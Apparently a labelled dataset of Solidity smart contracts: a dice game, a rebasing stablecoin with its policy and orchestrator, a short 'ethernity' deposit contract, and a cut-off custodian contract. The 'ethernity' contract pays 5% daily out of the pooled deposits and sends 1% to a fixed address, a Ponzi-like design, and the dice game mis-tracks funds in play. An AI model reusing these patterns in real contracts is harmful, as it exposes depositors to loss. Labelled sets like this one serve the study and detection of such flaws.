75; bool public gameRunning = false; uint public balanceInPlay; mapping(address => Game) private gamesInProgress; mapping(bytes32 => address) private rollIdToGameAddress; mapping(bytes32 => uint) private failedRolls; event GameFinished(address indexed player, uint indexed playerGameNumber, uint bet, uint8 firstRoll, uint8 finalRoll, uint winnings, uint payout); event GameError(address indexed player, uint indexed playerGameNumber, bytes32 rollId); enum BetDirection { None, Low, High } enum GameState { None, WaitingForFirstCard, WaitingForDirection, WaitingForFinalCard, Finished } struct Game { address player; GameState state; uint id; BetDirection direction; uint bet; uint8 firstRoll; uint8 finalRoll; uint winnings; } function EtherHiLo() public { } function() external payable { } function beginGame() public payable { address player = msg.sender; uint bet = msg.value; require(player != address(0)); require(gamesInProgress[player].state == GameState.None || gamesInProgress[player].state == GameState.Finished, "Invalid game state"); require(gameRunning, "Game is not currently running"); require(bet >= minBet && bet <= getMaxBet(), "Invalid bet"); Game memory game = Game({ id: uint(keccak256(block.number, player, bet)), player: player, state: GameState.WaitingForFirstCard, bet: bet, firstRoll: 0, finalRoll: 0, winnings: 0, direction: BetDirection.None }); balanceInPlay = SafeMath.add(balanceInPlay, game.bet); gamesInProgress[player] = game; require(rollDie(player), "Dice roll failed"); } function finishGame(BetDirection direction) public { address player = msg.sender; require(player != address(0)); require(gamesInProgress[player].state == GameState.WaitingForDirection, "Invalid game state"); Game storage game = gamesInProgress[player]; game.direction = direction; game.state = GameState.WaitingForFinalCard; gamesInProgress[player] = game; require(rollDie(player), "Dice roll failed"); } function getGameState(address player) public view returns (GameState, uint, BetDirection, uint, uint8, uint8, uint) { return ( gamesInProgress[player].state, gamesInProgress[player].id, gamesInProgress[player].direction, gamesInProgress[player].bet, gamesInProgress[player].firstRoll, gamesInProgress[player].finalRoll, gamesInProgress[player].winnings ); } function getMinBet() public view returns (uint) { return minBet; } function getMaxBet() public view returns (uint) { return SafeMath.div(SafeMath.div(SafeMath.mul(SafeMath.sub(this.balance, balanceInPlay), maxBetThresholdPct), 100), 12); } function calculateWinnings(uint bet, uint percent) public pure returns (uint) { return SafeMath.div(SafeMath.mul(bet, percent), 100); } function getLowWinPercent(uint number) public pure returns (uint) { require(number >= 2 && number <= NUM_DICE_SIDES, "Invalid number"); if (number == 2) { return 1200; } else if (number == 3) { return 500; } else if (number == 4) { return 300; } else if (number == 5) { return 300; } else if (number == 6) { return 200; } else if (number == 7) { return 180; } else if (number == 8) { return 150; } else if (number == 9) { return 140; } else if (number == 10) { return 130; } else if (number == 11) { return 120; } else if (number == 12) { return 110; } else if (number == 13) { return 100; } } function getHighWinPercent(uint number) public pure returns (uint) { require(number >= 1 && number < NUM_DICE_SIDES, "Invalid number"); if (number == 1) { return 100; } else if (number == 2) { return 110; } else if (number == 3) { return 120; } else if (number == 4) { return 130; } else if (number == 5) { return 140; } else if (number == 6) { return 150; } else if (number == 7) { return 180; } else if (number == 8) { return 200; } else if (number == 9) { return 300; } else if (number == 10) { return 300; } else if (number == 11) { return 500; } else if (number == 12) { return 1200; } } function processDiceRoll(address player, uint8 roll) private { Game storage game = gamesInProgress[player]; if (game.firstRoll == 0) { game.firstRoll = roll; game.state = GameState.WaitingForDirection; gamesInProgress[player] = game; return; } require(gamesInProgress[player].state == GameState.WaitingForFinalCard, "Invalid game state"); uint8 finalRoll = roll; uint winnings = 0; if (game.direction == BetDirection.High && finalRoll > game.firstRoll) { winnings = calculateWinnings(game.bet, getHighWinPercent(game.firstRoll)); } else if (game.direction == BetDirection.Low && finalRoll < game.firstRoll) { winnings = calculateWinnings(game.bet, getLowWinPercent(game.firstRoll)); } uint transferAmount = winnings; if (transferAmount > this.balance) { if (game.bet < this.balance) { transferAmount = game.bet; } else { transferAmount = SafeMath.div(SafeMath.mul(this.balance, 90), 100); } } balanceInPlay = SafeMath.add(balanceInPlay, game.bet); game.finalRoll = finalRoll; game.winnings = winnings; game.state = GameState.Finished; gamesInProgress[player] = game; if (transferAmount > 0) { game.player.transfer(transferAmount); } GameFinished(player, game.id, game.bet, game.firstRoll, finalRoll, winnings, transferAmount); } function rollDie(address player) private returns (bool) { bytes32 rollId = oraclize_newRandomDSQuery(0, 7, rngCallbackGas); if (failedRolls[rollId] == FAILED_ROLE) { delete failedRolls[rollId]; return false; } rollIdToGameAddress[rollId] = player; return true; } function __callback(bytes32 rollId, string _result, bytes _proof) public { require(msg.sender == oraclize_cbAddress(), "Only Oraclize can call this method"); address player = rollIdToGameAddress[rollId]; if (player == address(0)) { failedRolls[rollId] = FAILED_ROLE; return; } if (oraclize_randomDS_proofVerify__returnCode(rollId, _result, _proof) != 0) { Game storage game = gamesInProgress[player]; if (game.bet > 0) { game.player.transfer(game.bet); } delete gamesInProgress[player]; delete rollIdToGameAddress[rollId]; delete failedRolls[rollId]; GameError(player, game.id, rollId); } else { uint8 randomNumber = uint8((uint(keccak256(_result)) % NUM_DICE_SIDES) + 1); processDiceRoll(player, randomNumber); delete rollIdToGameAddress[rollId]; } } function transferBalance(address to, uint amount) public onlyOwner { to.transfer(amount); } function cleanupAbandonedGame(address player) public onlyOwner { require(player != address(0)); Game storage game = gamesInProgress[player]; require(game.player != address(0)); game.player.transfer(game.bet); delete gamesInProgress[game.player]; } function setRNGCallbackGasConfig(uint gas, uint price) public onlyOwner { rngCallbackGas = gas; oraclize_setProof(proofType_Ledger); oraclize_setCustomGasPrice(price); } function setMinBet(uint bet) public onlyOwner { minBet = bet; } function setGameRunning(bool v) public onlyOwner { gameRunning = v; } function setMaxBetThresholdPct(uint v) public onlyOwner { maxBetThresholdPct = v; } function destroyAndSend(address _recipient) public onlyOwner { selfdestruct(_recipient); } }
0
2,138
pragma solidity >=0.4.24 <0.6.0; contract Initializable { bool private initialized; bool private initializing; modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } function isConstructor() private view returns (bool) { uint256 cs; assembly { cs := extcodesize(address) } return cs == 0; } uint256[50] private ______gap; } pragma solidity ^0.4.24; contract Ownable is Initializable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); function initialize(address sender) public initializer { _owner = sender; } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(_owner); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[50] private ______gap; } pragma solidity >=0.4.24; library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } function div(int256 a, int256 b) internal pure returns (int256) { require(b != -1 || a != MIN_INT256); return a / b; } function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } } pragma solidity >=0.4.24; library UInt256Lib { uint256 private constant MAX_INT256 = ~(uint256(1) << 255); function toInt256Safe(uint256 a) internal pure returns (int256) { require(a <= MAX_INT256); return int256(a); } } pragma solidity >=0.4.24; interface ISeigniorageShares { function setDividendPoints(address account, uint256 totalDividends) external returns (bool); function mintShares(address account, uint256 amount) external returns (bool); function lastDividendPoints(address who) external view returns (uint256); function externalRawBalanceOf(address who) external view returns (uint256); function externalTotalSupply() external view returns (uint256); } pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } pragma solidity ^0.4.24; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } pragma solidity ^0.4.24; contract ERC20Detailed is Initializable, IERC20 { string private _name; string private _symbol; uint8 private _decimals; function initialize(string name, string symbol, uint8 decimals) public initializer { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string) { return _name; } function symbol() public view returns(string) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } uint256[50] private ______gap; } pragma solidity >=0.4.24; interface IDollarPolicy { function getUsdSharePrice() external view returns (uint256 price); } contract Dollars is ERC20Detailed, Ownable { using SafeMath for uint256; using SafeMathInt for int256; event LogRebase(uint256 indexed epoch, uint256 totalSupply); event LogContraction(uint256 indexed epoch, uint256 dollarsToBurn); event LogRebasePaused(bool paused); event LogBurn(address indexed from, uint256 value); event LogClaim(address indexed from, uint256 value); event LogMonetaryPolicyUpdated(address monetaryPolicy); address public monetaryPolicy; address public sharesAddress; modifier onlyMonetaryPolicy() { require(msg.sender == monetaryPolicy); _; } bool public rebasePaused; modifier whenRebaseNotPaused() { require(!rebasePaused); _; } uint256 private _remainingDollarsToBeBurned; modifier validRecipient(address to) { require(to != address(0x0)); require(to != address(this)); _; } uint256 private constant DECIMALS = 9; uint256 private constant MAX_UINT256 = ~uint256(0); uint256 private constant INITIAL_DOLLAR_SUPPLY = 1 * 10**6 * 10**DECIMALS; uint256 private _maxDiscount; modifier validDiscount(uint256 discount) { require(discount <= _maxDiscount, 'DISCOUNT_TOO_HIGH'); _; } uint256 private constant MAX_SUPPLY = ~uint128(0); uint256 private _totalSupply; uint256 private constant POINT_MULTIPLIER = 10 ** 9; uint256 private _totalDividendPoints; uint256 private _unclaimedDividends; ISeigniorageShares shares; mapping(address => uint256) private _dollarBalances; mapping (address => mapping (address => uint256)) private _allowedDollars; IDollarPolicy dollarPolicy; uint256 public burningDiscount; uint256 public defaultDiscount; uint256 public defaultDailyBonusDiscount; uint256 public minimumBonusThreshold; bool reEntrancyMutex; bool reEntrancyRebaseMutex; address public uniswapV2Pool; modifier uniqueAddresses(address addr1, address addr2) { require(addr1 != addr2, "Addresses are not unique"); _; } function setMonetaryPolicy(address monetaryPolicy_) external onlyOwner { monetaryPolicy = monetaryPolicy_; dollarPolicy = IDollarPolicy(monetaryPolicy_); emit LogMonetaryPolicyUpdated(monetaryPolicy_); } function setUniswapV2SyncAddress(address uniswapV2Pair_) external onlyOwner { uniswapV2Pool = uniswapV2Pair_; } function test() external onlyOwner { uniswapV2Pool.call(abi.encodeWithSignature('sync()')); } function setBurningDiscount(uint256 discount) external onlyOwner validDiscount(discount) { burningDiscount = discount; } function burn(uint256 amount) external updateAccount(msg.sender) { require(!reEntrancyMutex, "RE-ENTRANCY GUARD MUST BE FALSE"); reEntrancyMutex = true; require(amount != 0, 'AMOUNT_MUST_BE_POSITIVE'); require(_remainingDollarsToBeBurned != 0, 'COIN_BURN_MUST_BE_GREATER_THAN_ZERO'); require(amount <= _dollarBalances[msg.sender], 'INSUFFICIENT_DOLLAR_BALANCE'); require(amount <= _remainingDollarsToBeBurned, 'AMOUNT_MUST_BE_LESS_THAN_OR_EQUAL_TO_REMAINING_COINS'); _burn(msg.sender, amount); reEntrancyMutex = false; } function setDefaultDiscount(uint256 discount) external onlyOwner validDiscount(discount) { defaultDiscount = discount; } function setMaxDiscount(uint256 discount) external onlyOwner { _maxDiscount = discount; } function setDefaultDailyBonusDiscount(uint256 discount) external onlyOwner validDiscount(discount) { defaultDailyBonusDiscount = discount; } function setRebasePaused(bool paused) external onlyOwner { rebasePaused = paused; emit LogRebasePaused(paused); } function claimDividends(address account) external updateAccount(account) returns (uint256) { uint256 owing = dividendsOwing(account); return owing; } function setMinimumBonusThreshold(uint256 minimum) external onlyOwner { require(minimum < _totalSupply, 'MINIMUM_TOO_HIGH'); minimumBonusThreshold = minimum; } function rebase(uint256 epoch, int256 supplyDelta) external onlyMonetaryPolicy whenRebaseNotPaused returns (uint256) { reEntrancyRebaseMutex = true; uint256 burningDefaultDiscount = burningDiscount.add(defaultDailyBonusDiscount); if (supplyDelta == 0) { if (_remainingDollarsToBeBurned > minimumBonusThreshold) { burningDiscount = burningDefaultDiscount > _maxDiscount ? _maxDiscount : burningDefaultDiscount; } else { burningDiscount = defaultDiscount; } emit LogRebase(epoch, _totalSupply); } else if (supplyDelta < 0) { uint256 dollarsToBurn = uint256(supplyDelta.abs()); uint256 tenPercent = _totalSupply.div(10); if (dollarsToBurn > tenPercent) { dollarsToBurn = tenPercent; } if (dollarsToBurn.add(_remainingDollarsToBeBurned) > _totalSupply) { dollarsToBurn = _totalSupply.sub(_remainingDollarsToBeBurned); } if (_remainingDollarsToBeBurned > minimumBonusThreshold) { burningDiscount = burningDefaultDiscount > _maxDiscount ? _maxDiscount : burningDefaultDiscount; } else { burningDiscount = defaultDiscount; } _remainingDollarsToBeBurned = _remainingDollarsToBeBurned.add(dollarsToBurn); emit LogContraction(epoch, dollarsToBurn); } else { disburse(uint256(supplyDelta)); uniswapV2Pool.call(abi.encodeWithSignature('sync()')); emit LogRebase(epoch, _totalSupply); if (_totalSupply > MAX_SUPPLY) { _totalSupply = MAX_SUPPLY; } } reEntrancyRebaseMutex = false; return _totalSupply; } function initialize(address owner_, address seigniorageAddress) public initializer { ERC20Detailed.initialize("Dollars", "USD", uint8(DECIMALS)); Ownable.initialize(owner_); rebasePaused = false; _totalSupply = INITIAL_DOLLAR_SUPPLY; sharesAddress = seigniorageAddress; shares = ISeigniorageShares(seigniorageAddress); _dollarBalances[owner_] = _totalSupply; _maxDiscount = 50 * 10 ** 9; defaultDiscount = 1 * 10 ** 9; burningDiscount = defaultDiscount; defaultDailyBonusDiscount = 1 * 10 ** 9; minimumBonusThreshold = 100 * 10 ** 9; emit Transfer(address(0x0), owner_, _totalSupply); } function dividendsOwing(address account) public view returns (uint256) { if (_totalDividendPoints > shares.lastDividendPoints(account)) { uint256 newDividendPoints = _totalDividendPoints.sub(shares.lastDividendPoints(account)); uint256 sharesBalance = shares.externalRawBalanceOf(account); return sharesBalance.mul(newDividendPoints).div(POINT_MULTIPLIER); } else { return 0; } } modifier updateAccount(address account) { uint256 owing = dividendsOwing(account); if (owing != 0) { _unclaimedDividends = _unclaimedDividends.sub(owing); _dollarBalances[account] += owing; } shares.setDividendPoints(account, _totalDividendPoints); emit LogClaim(account, owing); _; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address who) public view returns (uint256) { return _dollarBalances[who].add(dividendsOwing(who)); } function getRemainingDollarsToBeBurned() public view returns (uint256) { return _remainingDollarsToBeBurned; } function transfer(address to, uint256 value) public uniqueAddresses(msg.sender, to) validRecipient(to) updateAccount(msg.sender) updateAccount(to) returns (bool) { require(!reEntrancyRebaseMutex, "RE-ENTRANCY GUARD MUST BE FALSE"); _dollarBalances[msg.sender] = _dollarBalances[msg.sender].sub(value); _dollarBalances[to] = _dollarBalances[to].add(value); emit Transfer(msg.sender, to, value); return true; } function allowance(address owner_, address spender) public view returns (uint256) { return _allowedDollars[owner_][spender]; } function transferFrom(address from, address to, uint256 value) public validRecipient(to) updateAccount(from) updateAccount(msg.sender) updateAccount(to) returns (bool) { require(!reEntrancyRebaseMutex, "RE-ENTRANCY GUARD MUST BE FALSE"); _allowedDollars[from][msg.sender] = _allowedDollars[from][msg.sender].sub(value); _dollarBalances[from] = _dollarBalances[from].sub(value); _dollarBalances[to] = _dollarBalances[to].add(value); emit Transfer(from, to, value); return true; } function approve(address spender, uint256 value) public uniqueAddresses(msg.sender, spender) validRecipient(spender) updateAccount(msg.sender) updateAccount(spender) returns (bool) { _allowedDollars[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function increaseAllowance(address spender, uint256 addedValue) public uniqueAddresses(msg.sender, spender) updateAccount(msg.sender) updateAccount(spender) returns (bool) { _allowedDollars[msg.sender][spender] = _allowedDollars[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowedDollars[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public uniqueAddresses(msg.sender, spender) updateAccount(spender) updateAccount(msg.sender) returns (bool) { uint256 oldValue = _allowedDollars[msg.sender][spender]; if (subtractedValue >= oldValue) { _allowedDollars[msg.sender][spender] = 0; } else { _allowedDollars[msg.sender][spender] = oldValue.sub(subtractedValue); } emit Approval(msg.sender, spender, _allowedDollars[msg.sender][spender]); return true; } function consultBurn(uint256 amount) public returns (uint256) { require(amount > 0, 'AMOUNT_MUST_BE_POSITIVE'); require(burningDiscount >= 0, 'DISCOUNT_NOT_VALID'); require(_remainingDollarsToBeBurned > 0, 'COIN_BURN_MUST_BE_GREATER_THAN_ZERO'); require(amount <= _dollarBalances[msg.sender].add(dividendsOwing(msg.sender)), 'INSUFFICIENT_DOLLAR_BALANCE'); require(amount <= _remainingDollarsToBeBurned, 'AMOUNT_MUST_BE_LESS_THAN_OR_EQUAL_TO_REMAINING_COINS'); uint256 usdPerShare = dollarPolicy.getUsdSharePrice(); uint256 decimals = 10 ** 9; uint256 percentDenominator = 100; usdPerShare = usdPerShare.sub(usdPerShare.mul(burningDiscount).div(percentDenominator * decimals)); uint256 sharesToMint = amount.mul(decimals).div(usdPerShare); return sharesToMint; } function unclaimedDividends() public view returns (uint256) { return _unclaimedDividends; } function totalDividendPoints() public view returns (uint256) { return _totalDividendPoints; } function disburse(uint256 amount) internal returns (bool) { _totalDividendPoints = _totalDividendPoints.add(amount.mul(POINT_MULTIPLIER).div(shares.externalTotalSupply())); _totalSupply = _totalSupply.add(amount); _unclaimedDividends = _unclaimedDividends.add(amount); return true; } function _burn(address account, uint256 amount) internal { _totalSupply = _totalSupply.sub(amount); _dollarBalances[account] = _dollarBalances[account].sub(amount); uint256 usdPerShare = dollarPolicy.getUsdSharePrice(); uint256 decimals = 10 ** 9; uint256 percentDenominator = 100; usdPerShare = usdPerShare.sub(usdPerShare.mul(burningDiscount).div(percentDenominator * decimals)); uint256 sharesToMint = amount.mul(decimals).div(usdPerShare); _remainingDollarsToBeBurned = _remainingDollarsToBeBurned.sub(amount); shares.mintShares(account, sharesToMint); emit Transfer(account, address(0), amount); emit LogBurn(account, amount); } } pragma solidity >=0.4.24; interface IDecentralizedOracle { function update() external; function consult(address token, uint amountIn) external view returns (uint amountOut); } contract DollarsPolicy is Ownable { using SafeMath for uint256; using SafeMathInt for int256; using UInt256Lib for uint256; event LogRebase( uint256 indexed epoch, uint256 exchangeRate, uint256 cpi, int256 requestedSupplyAdjustment, uint256 timestampSec ); Dollars public dollars; IDecentralizedOracle public sharesPerUsdOracle; IDecentralizedOracle public ethPerUsdOracle; IDecentralizedOracle public ethPerUsdcOracle; uint256 public deviationThreshold; uint256 public rebaseLag; uint256 private cpi; uint256 public minRebaseTimeIntervalSec; uint256 public lastRebaseTimestampSec; uint256 public rebaseWindowOffsetSec; uint256 public rebaseWindowLengthSec; uint256 public epoch; address WETH_ADDRESS; address SHARE_ADDRESS; uint256 private constant DECIMALS = 18; uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS; uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE; address public orchestrator; bool private initializedOracle; modifier onlyOrchestrator() { require(msg.sender == orchestrator); _; } uint256 public minimumDollarCirculation; function getUsdSharePrice() external view returns (uint256) { sharesPerUsdOracle.update(); uint256 shareDecimals = 10 ** 9; uint256 sharePrice = sharesPerUsdOracle.consult(SHARE_ADDRESS, 1 * shareDecimals); return sharePrice; } function rebase() external onlyOrchestrator { require(inRebaseWindow(), "OUTISDE_REBASE"); require(initializedOracle, 'ORACLE_NOT_INITIALIZED'); require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now, "MIN_TIME_NOT_MET"); lastRebaseTimestampSec = now.sub( now.mod(minRebaseTimeIntervalSec)).add(rebaseWindowOffsetSec); epoch = epoch.add(1); sharesPerUsdOracle.update(); ethPerUsdOracle.update(); ethPerUsdcOracle.update(); uint256 wethDecimals = 10 ** 18; uint256 shareDecimals = 10 ** 9; uint256 ethUsdcPrice = ethPerUsdcOracle.consult(WETH_ADDRESS, 1 * wethDecimals); uint256 ethUsdPrice = ethPerUsdOracle.consult(WETH_ADDRESS, 1 * wethDecimals); uint256 dollarCoinExchangeRate = ethUsdcPrice.mul(10 ** 21) .div(ethUsdPrice); uint256 sharePrice = sharesPerUsdOracle.consult(SHARE_ADDRESS, 1 * shareDecimals); uint256 shareExchangeRate = sharePrice.mul(dollarCoinExchangeRate).div(shareDecimals); uint256 targetRate = cpi; if (dollarCoinExchangeRate > MAX_RATE) { dollarCoinExchangeRate = MAX_RATE; } int256 supplyDelta = computeSupplyDelta(dollarCoinExchangeRate, targetRate); uint256 algorithmicLag_ = getAlgorithmicRebaseLag(supplyDelta); require(algorithmicLag_ != 0, "algorithmic rate must be positive"); rebaseLag = algorithmicLag_; supplyDelta = supplyDelta.mul(10 ** 9).div(algorithmicLag_.toInt256Safe()); if (supplyDelta > 0 && dollars.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) { supplyDelta = (MAX_SUPPLY.sub(dollars.totalSupply())).toInt256Safe(); } if (supplyDelta < 0 && dollars.getRemainingDollarsToBeBurned().add(uint256(supplyDelta.abs())) > MAX_SUPPLY) { supplyDelta = (MAX_SUPPLY.sub(dollars.getRemainingDollarsToBeBurned())).toInt256Safe(); } if (supplyDelta < 0 && dollars.totalSupply().sub(dollars.getRemainingDollarsToBeBurned().add(uint256(supplyDelta.abs()))) < minimumDollarCirculation) { supplyDelta = (dollars.totalSupply().sub(dollars.getRemainingDollarsToBeBurned()).sub(minimumDollarCirculation)).toInt256Safe(); } uint256 supplyAfterRebase; if (supplyDelta < 0) { uint256 dollarsToBurn = uint256(supplyDelta.abs()); supplyAfterRebase = dollars.rebase(epoch, (dollarsToBurn).toInt256Safe().mul(-1)); } else { supplyAfterRebase = dollars.rebase(epoch, supplyDelta); } assert(supplyAfterRebase <= MAX_SUPPLY); emit LogRebase(epoch, dollarCoinExchangeRate, cpi, supplyDelta, now); } function setOrchestrator(address orchestrator_) external onlyOwner { orchestrator = orchestrator_; } function setDeviationThreshold(uint256 deviationThreshold_) external onlyOwner { deviationThreshold = deviationThreshold_; } function setCpi(uint256 cpi_) external onlyOwner { require(cpi_ != 0); cpi = cpi_; } function setRebaseLag(uint256 rebaseLag_) external onlyOwner { require(rebaseLag_ != 0); rebaseLag = rebaseLag_; } function initializeOracles( address sharesPerUsdOracleAddress, address ethPerUsdOracleAddress, address ethPerUsdcOracleAddress ) external onlyOwner { require(!initializedOracle, 'ALREADY_INITIALIZED_ORACLE'); sharesPerUsdOracle = IDecentralizedOracle(sharesPerUsdOracleAddress); ethPerUsdOracle = IDecentralizedOracle(ethPerUsdOracleAddress); ethPerUsdcOracle = IDecentralizedOracle(ethPerUsdcOracleAddress); initializedOracle = true; } function changeOracles( address sharesPerUsdOracleAddress, address ethPerUsdOracleAddress, address ethPerUsdcOracleAddress ) external onlyOwner { sharesPerUsdOracle = IDecentralizedOracle(sharesPerUsdOracleAddress); ethPerUsdOracle = IDecentralizedOracle(ethPerUsdOracleAddress); ethPerUsdcOracle = IDecentralizedOracle(ethPerUsdcOracleAddress); } function setWethAddress(address wethAddress) external onlyOwner { WETH_ADDRESS = wethAddress; } function setShareAddress(address shareAddress) external onlyOwner { SHARE_ADDRESS = shareAddress; } function setMinimumDollarCirculation(uint256 minimumDollarCirculation_) external onlyOwner { minimumDollarCirculation = minimumDollarCirculation_; } function setRebaseTimingParameters( uint256 minRebaseTimeIntervalSec_, uint256 rebaseWindowOffsetSec_, uint256 rebaseWindowLengthSec_) external onlyOwner { require(minRebaseTimeIntervalSec_ != 0); require(rebaseWindowOffsetSec_ < minRebaseTimeIntervalSec_); minRebaseTimeIntervalSec = minRebaseTimeIntervalSec_; rebaseWindowOffsetSec = rebaseWindowOffsetSec_; rebaseWindowLengthSec = rebaseWindowLengthSec_; } function initialize(address owner_, Dollars dollars_) public initializer { Ownable.initialize(owner_); deviationThreshold = 5 * 10 ** (DECIMALS-2); rebaseLag = 50 * 10 ** 9; minRebaseTimeIntervalSec = 1 days; rebaseWindowOffsetSec = 63000; rebaseWindowLengthSec = 15 minutes; lastRebaseTimestampSec = 0; cpi = 1 * 10 ** 18; epoch = 0; minimumDollarCirculation = 1000000 * 10 ** 9; dollars = dollars_; } function getAlgorithmicRebaseLag(int256 supplyDelta) public view returns (uint256) { if (dollars.totalSupply() >= 30000000 * 10 ** 9) { return 30 * 10 ** 9; } else { if (supplyDelta < 0) { uint256 dollarsToBurn = uint256(supplyDelta.abs()); return uint256(100 * 10 ** 9).sub((dollars.totalSupply().sub(1000000 * 10 ** 9)).div(500000)); } else { return uint256(29).mul(dollars.totalSupply().sub(1000000 * 10 ** 9)).div(35000000).add(1 * 10 ** 9); } } } function inRebaseWindow() public view returns (bool) { return ( now.mod(minRebaseTimeIntervalSec) >= rebaseWindowOffsetSec && now.mod(minRebaseTimeIntervalSec) < (rebaseWindowOffsetSec.add(rebaseWindowLengthSec)) ); } function computeSupplyDelta(uint256 rate, uint256 targetRate) private view returns (int256) { if (withinDeviationThreshold(rate, targetRate)) { return 0; } int256 targetRateSigned = targetRate.toInt256Safe(); return dollars.totalSupply().toInt256Safe() .mul(rate.toInt256Safe().sub(targetRateSigned)) .div(targetRateSigned); } function withinDeviationThreshold(uint256 rate, uint256 targetRate) private view returns (bool) { uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold) .div(10 ** DECIMALS); return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold) || (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold); } } pragma solidity >=0.4.24; contract Orchestrator is Ownable { struct Transaction { bool enabled; address destination; bytes data; } event TransactionFailed(address indexed destination, uint index, bytes data); Transaction[] public transactions; DollarsPolicy public policy; constructor(address policy_) public { Ownable.initialize(msg.sender); policy = DollarsPolicy(policy_); } function rebase() external { require(msg.sender == tx.origin); policy.rebase(); for (uint i = 0; i < transactions.length; i++) { Transaction storage t = transactions[i]; if (t.enabled) { bool result = externalCall(t.destination, t.data); if (!result) { emit TransactionFailed(t.destination, i, t.data); revert("Transaction Failed"); } } } } function addTransaction(address destination, bytes data) external onlyOwner { transactions.push(Transaction({ enabled: true, destination: destination, data: data })); } function removeTransaction(uint index) external onlyOwner { require(index < transactions.length, "index out of bounds"); if (index < transactions.length - 1) { transactions[index] = transactions[transactions.length - 1]; } transactions.length--; } function setTransactionEnabled(uint index, bool enabled) external onlyOwner { require(index < transactions.length, "index must be in range of stored tx list"); transactions[index].enabled = enabled; } function transactionsSize() external view returns (uint256) { return transactions.length; } function externalCall(address destination, bytes data) internal returns (bool) { bool result; assembly { let outputAddress := mload(0x40) let dataAddress := add(data, 32) result := call( sub(gas, 34710), destination, 0, dataAddress, mload(data), outputAddress, 0 ) } return result; } }
0
2,024
pragma solidity ^0.4.24; contract ethernity { address pr = 0xB85B67e48cD9edF95A6e95134Ee461e89E7B0928; address ths = this; mapping (address => uint) balance; mapping (address => uint) paytime; mapping (address => uint) prtime; function() external payable { if((block.number-prtime[pr]) >= 5900){ pr.transfer(ths.balance/100); prtime[pr] = block.number; } if (balance[msg.sender] != 0){ msg.sender.transfer(balance[msg.sender]/100*5*(block.number-paytime[msg.sender])/5900); } paytime[msg.sender] = block.number; balance[msg.sender] += msg.value; } }
1
3,010
pragma solidity ^0.5.1; contract LockRequestable { uint256 public lockRequestCount; constructor() public { lockRequestCount = 0; } function generateLockId() internal returns (bytes32 lockId) { return keccak256( abi.encodePacked(blockhash(block.number - 1), address(this), ++lockRequestCount) ); } } contract CustodianUpgradeable is LockRequestable { struct CustodianChangeRequest { address proposedNew; } address public custodian; mapping (bytes32 => CustodianChangeRequest) public custodianChangeReqs; constructor(address _custodian) public LockRequestable() { custodian = _custodian; } modifier onlyCustodian { require(msg.sender == custodian); _; } function requestCustodianChange(address _proposedCustodian) public returns (bytes32 lockId) { require(_proposedCustodian != address(0)); lockId = generateLockId(); custodianChangeReqs[lockId] = CustodianChangeRequest({ proposedNew: _proposedCustodian }); emit CustodianChangeRequested(lockId, msg.sender, _proposedCustodian); } function confirmCustodianChange(bytes32 _lockId) public onlyCustodian { custodian = getCustodianChangeReq(_lockId); delete custodianChangeReqs[_lockId]; emit CustodianChangeConfirmed(_lockId, custodian); } function getCustodianChangeReq(bytes32 _lockId) private view returns (address _proposedNew) { CustodianChangeRequest storage changeRequest = custodianChangeReqs[_lockId]; require(changeRequest.proposedNew != address(0)); return changeRequest.proposedNew; } event CustodianChangeRequested( bytes32 _lockId, address _msgSender, address _proposedCustodian ); event CustodianChangeConfirmed(bytes32 _lockId, address _newCustodian); } contract TokenSettingsInterface { function getTradeAllowed() public view returns (bool); function getMintAllowed() public view returns (bool); function getBurnAllowed() public view returns (bool); event TradeAllowedLocked(bytes32 _lockId, bool _newValue); event TradeAllowedConfirmed(bytes32 _lockId, bool _newValue); event 